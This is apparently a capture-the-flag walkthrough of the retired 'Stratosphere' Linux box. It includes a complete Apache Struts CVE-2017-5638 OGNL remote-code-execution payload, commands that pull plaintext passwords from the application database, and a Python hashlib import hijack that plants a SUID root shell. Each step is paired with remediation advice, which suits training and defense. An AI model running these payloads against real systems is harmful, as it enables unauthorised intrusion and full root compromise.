← all walkthroughs

Stratosphere

Linux· Medium
owned
2026-07-08
time to own
7m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target stratosphere ($TARGET) was fully compromised end-to-end. The Struts 2 credit-monitoring application on ports 80 and 8080 was unpatched against CVE-2017-5638, allowing any unauthenticated visitor to inject OGNL code through a crafted HTTP Content-Type header and execute operating-system commands as the tomcat8 service account. From that foothold my read the application's MariaDB database and recovered the local user richard's SSH password stored in plaintext.

Logging in as richard via SSH captured the user flag. A sudo rule permitted richard to run a Python script located in his own home directory as root with no password; because Python resolves imports by searching the script's directory before system library paths, and that directory was fully writable by richard, dropping a malicious hashlib.py stub there caused the privileged script to execute my own code as root — completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and web application fingerprinting
Enumerated open ports and identified the Struts 2 credit-monitoring application
An nmap service scan of $TARGET revealed SSH on 22, Apache Tomcat on 80 and 8080, and a filtered AJP connector on 8009. Browsing port 80 redirected into a Struts 2 web application at /Monitoring/example/Welcome.action named 'Stratosphere Credit Monitoring,' issuing a JSESSIONID session cookie and confirming a Java/Struts2 stack.
Nmap: '8080/tcp open http Apache Tomcat'; HTTP 200 on /Monitoring/example/Welcome.action with a session cookie recovered credential]
Exact commands 2
Service version scan; confirms Tomcat on 80/8080 and filtered AJP on 8009.
nmap -sV -Pn -p 22,80,8080,8009 $TARGET
Confirm the Struts2 application endpoint, observe the JSESSIONID cookie, and note the application title.
curl -si http://$TARGET/Monitoring/example/Welcome.action
2ExploitationApache Struts S2-045 OGNL injection via Content-Type header (CVE-2017-5638)
Achieved unauthenticated remote code execution via Apache Struts CVE-2017-5638
The Struts 2 Jakarta Multipart parser evaluated the HTTP Content-Type header as an OGNL expression without sanitization. Sending a crafted Content-Type value containing an OGNL chain to /Monitoring/example/Welcome.action caused the Struts runtime to spawn an OS process as tomcat8 (uid=115, gid=119). No credentials or prior session were required. The engagement confirmed the payload succeeded against both port 80 and port 8080.
OGNL payload response: uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8) — validated on http://$TARGET:80/Monitoring/example/Welcome.action
Exact commands 2
Use http.client directly to bypass Python urllib header-validation; replace the cmd variable to run any shell command as tomcat8.
python3 - <<'PY'
import http.client
cmd = 'id; whoami; hostname; pwd'
ognl = ("%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
conn = http.client.HTTPConnection("$TARGET", 80)
conn.putrequest('POST', '/Monitoring/example/Welcome.action')
conn.putheader('Content-Type', ognl)
conn.putheader('Content-Length', '0')
conn.endheaders()
r = conn.getresponse(); print(r.read().decode())
PY
Alternatively use any public CVE-2017-5638 PoC script targeting the confirmed endpoint.
python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'id'
FixPatch Apache Struts 2 to eliminate the CVE-2017-5638 OGNL injection vulnerabilityCritical
WeaknessThe Struts 2 Jakarta Multipart parser evaluated the HTTP Content-Type request header as an OGNL expression without sanitization. Any unauthenticated HTTP POST to a Struts action endpoint was enough to run arbitrary operating-system commands as the web server process.
FixUpgrade Apache Struts 2 to version 2.3.32 or 2.5.10.1 or later, which removed OGNL evaluation from the Content-Type parser. If an immediate upgrade is not possible, deploy a WAF rule blocking Content-Type headers containing OGNL metacharacters (#, (, %, @). Restrict network-level access to /Monitoring/ to authorised source IPs and remove the application entirely if it serves no production purpose.
3Post-ExploitationPlaintext credential extraction from application database
Extracted richard's plaintext SSH password from the application database
With OS command execution as tomcat8, my read the Struts application's configuration files in /var/lib/tomcat8/webapps/Monitoring/WEB-INF/ to find the MariaDB JDBC connection string including credentials. Querying the 'users' database revealed an 'accounts' table whose 'passw' column stored user passwords in cleartext. The row for user richard contained his Linux SSH password unchanged — no hashing was applied.
MySQL SELECT against users.accounts returned richard's password [REDACTED: recovered credential] in clear text
Exact commands 2
Read the Struts app deployment descriptor to find the JDBC URL, database user, and database password.
python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'cat /var/lib/tomcat8/webapps/Monitoring/WEB-INF/web.xml'
Query the accounts table with credentials found in web.xml; replace <db_user>/<db_pass> accordingly. Returns richard's SSH password in plaintext.
python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'mysql -u <db_user> -p<db_pass> -e "SELECT fullName,passw FROM users.accounts;"'
FixReplace plaintext database passwords with strong hashes and enforce credential separationCritical
WeaknessThe application stored user account passwords in a MariaDB table in plain text with no hashing. When the Struts RCE gave an unauthorised user database access, all passwords were immediately readable — and richard's database password was identical to his Linux SSH password, so a single database query handed an unauthorised user a working system login.
FixHash all stored passwords with bcrypt or Argon2id (never MD5 or SHA-1). Enforce strict separation between application-tier credentials and OS-level credentials: system account passwords must never match any application password. Rotate richard's SSH password immediately and audit all other local accounts for reuse. Restrict the MariaDB account used by the Struts app to the minimum required privileges (SELECT only on specific tables) and store the database password in a secrets manager rather than in a web.xml file on disk.
4Lateral MovementSSH login with harvested credentials (credential reuse, T1078)
Authenticated to SSH as richard using the database-extracted password
The plaintext password recovered from the MariaDB table was also richard's Linux system account password — identical, no transformation needed. I logged in over SSH on port 22 and read /home/richard/user.txt to confirm system-level access as a non-root user.
Sshpass command authenticated richard@$TARGET and cat /home/richard/user.txt returned the user flag
Exact commands 1
Authenticate as richard with the database password; outputs <user.txt>.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'id; hostname; cat /home/richard/user.txt'
5Privilege Escalation — DiscoverySudo policy enumeration (T1548.003)
Discovered a passwordless sudo rule running a Python script from richard's writable home directory
Running 'sudo -l' as richard revealed that he could execute /usr/bin/python3 /home/richard/test.py as root with NOPASSWD and no other restrictions. Reading test.py showed it imported the standard-library 'hashlib' module. Python resolves imports by searching the directories in sys.path in order; the script's containing directory (/home/richard) is prepended first, and richard owned that directory with full write permission.
Sudo -l: User richard may run (ALL) NOPASSWD: /usr/bin/python3 /home/richard/test.py
Exact commands 2
List richard's sudo permissions; look for NOPASSWD entries invoking a Python interpreter on a user-owned script.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'sudo -l'
Read the sudoable script to identify which modules it imports.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'cat /home/richard/test.py'
6Privilege Escalation — ExploitationPython module import hijacking via writable sys.path entry (T1574.006)
Hijacked Python's hashlib import to execute arbitrary commands as root
I created a file named hashlib.py in /home/richard containing malicious code in an os.system() call, with stub class definitions to prevent an ImportError when test.py called hashlib functions afterward. When the sudo rule invoked /usr/bin/python3 /home/richard/test.py as root, Python found and executed the malicious hashlib.py before ever reaching the standard library copy. The payload printed the root flag and created a SUID-root copy of /bin/bash at /tmp/rootbash for a persistent root shell.
After planting hashlib.py and invoking sudo, output showed uid=0(root) and /root/root.txt contents; /tmp/rootbash -p produced a root shell
Exact commands 3
Write the malicious hashlib.py stub; stub class prevents ImportError if test.py calls hashlib methods after import.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET "cat > /home/richard/hashlib.py <<'PYEOF'
import os
os.system('id; cat /root/root.txt; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
class _H:
    def update(self, x): pass
    def hexdigest(self): return ''
def md5(): return _H()
def sha1(): return _H()
PYEOF"
Trigger the sudo rule; Python imports the malicious hashlib.py first and executes os.system() as root. Root flag prints as <root.txt>.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'echo "$PASSWORD2" | sudo -S python3 /home/richard/test.py'
Use the SUID bash copy for a persistent root shell (the -p flag preserves the SUID effective UID).
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET '/tmp/rootbash -p'
FixRemove the sudo rule that grants passwordless root execution of a user-owned Python scriptCritical
WeaknessRichard could run a Python script stored in his own writable home directory as root with no password required. Because Python searches the script's containing directory before system library paths, richard could shadow any standard-library module with a malicious file and have it run as root — a one-step, reliable privilege-escalation path requiring no special tools.
FixRemove the sudo rule from /etc/sudoers immediately. If the underlying business function is legitimate, rewrite the capability as a compiled binary (C or Rust) with no dynamic module loading, install it under a root-owned path outside any user's home directory (e.g. /usr/local/sbin/), and grant sudo access to only that specific binary. Never grant sudo rights to an interpreter (python3, bash, perl) or to a script that lives in a user-writable location. Review all sudoers entries for similar patterns using 'sudo -l' across all accounts.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
8080/tcp